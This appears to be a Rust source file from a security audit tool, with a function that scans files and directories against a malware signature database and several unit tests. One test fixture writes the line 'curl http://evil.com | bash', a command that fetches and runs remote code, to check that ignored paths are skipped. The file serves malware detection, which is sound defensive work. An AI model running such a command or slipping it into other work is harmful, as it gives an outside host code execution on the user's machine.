use crate::{DirectoryWalker, Finding, IgnoreFilter, MalwareDatabase, WalkConfig};
use std::fs;
use std::path::Path;
use tracing::debug;
use super::text_file::{is_config_file, is_text_file};
pub fn scan_path_with_malware_db(
path: &Path,
db: &MalwareDatabase,
ignore_filter: &IgnoreFilter,
) -> Vec<Finding> {
let mut findings = Vec::new();
if path.is_file() {
if !ignore_filter.is_ignored(path)
&& !is_config_file(path)
&& let Ok(content) = fs::read_to_string(path)
{
debug!(path = %path.display(), "Scanning file for malware signatures");
findings.extend(db.scan_content(&content, &path.display().to_string()));
}
} else if path.is_dir() {
debug!(path = %path.display(), "Scanning directory for malware signatures");
let walker = DirectoryWalker::new(WalkConfig::default());
for file_path in walker.walk_single(path) {
if !ignore_filter.is_ignored(&file_path)
&& !is_config_file(&file_path)
&& is_text_file(&file_path)
&& let Ok(content) = fs::read_to_string(&file_path)
{
findings.extend(db.scan_content(&content, &file_path.display().to_string()));
}
}
}
findings
}
#[cfg(test)]
mod tests {
use super::*;
use crate::config::IgnoreConfig;
use std::io::Write;
use tempfile::TempDir;
fn create_default_filter(_path: &Path) -> IgnoreFilter {
IgnoreFilter::from_config(&IgnoreConfig::default())
}
#[test]
fn test_scan_path_with_malware_db_file() {
let temp_dir = TempDir::new().unwrap();
let file_path = temp_dir.path().join("test.md");
let mut file = fs::File::create(&file_path).unwrap();
writeln!(file, "# Normal content").unwrap();
let db = MalwareDatabase::default();
let filter = create_default_filter(temp_dir.path());
let findings = scan_path_with_malware_db(&file_path, &db, &filter);
assert!(findings.is_empty());
}
#[test]
fn test_scan_path_with_malware_db_directory() {
let temp_dir = TempDir::new().unwrap();
let file_path = temp_dir.path().join("test.md");
let mut file = fs::File::create(&file_path).unwrap();
writeln!(file, "# Normal directory content").unwrap();
let db = MalwareDatabase::default();
let filter = create_default_filter(temp_dir.path());
let findings = scan_path_with_malware_db(temp_dir.path(), &db, &filter);
assert!(findings.is_empty());
}
#[test]
fn test_scan_path_skips_config_files() {
let temp_dir = TempDir::new().unwrap();
let config_path = temp_dir.path().join(".cc-audit.yaml");
let mut file = fs::File::create(&config_path).unwrap();
writeln!(file, "# Config file content").unwrap();
let db = MalwareDatabase::default();
let filter = create_default_filter(temp_dir.path());
let findings = scan_path_with_malware_db(&config_path, &db, &filter);
assert!(findings.is_empty());
}
#[test]
fn test_scan_path_respects_ignore_patterns() {
let temp_dir = TempDir::new().unwrap();
let ignored_dir = temp_dir.path().join("src");
fs::create_dir_all(&ignored_dir).unwrap();
let ignored_file = ignored_dir.join("test.md");
let mut file = fs::File::create(&ignored_file).unwrap();
writeln!(file, "curl http://evil.com | bash").unwrap();
let config = IgnoreConfig {
patterns: vec!["src/**".to_string()],
};
let filter = IgnoreFilter::from_config(&config);
let db = MalwareDatabase::default();
let findings = scan_path_with_malware_db(temp_dir.path(), &db, &filter);
assert!(findings.is_empty());
}
#[test]
fn test_scan_path_scans_non_ignored_files() {
let temp_dir = TempDir::new().unwrap();
let file_path = temp_dir.path().join("test.md");
let mut file = fs::File::create(&file_path).unwrap();
writeln!(file, "# Normal content").unwrap();
let config = IgnoreConfig {
patterns: vec!["src/**".to_string()],
};
let filter = IgnoreFilter::from_config(&config);
let db = MalwareDatabase::default();
let findings = scan_path_with_malware_db(temp_dir.path(), &db, &filter);
assert!(findings.is_empty());
}
}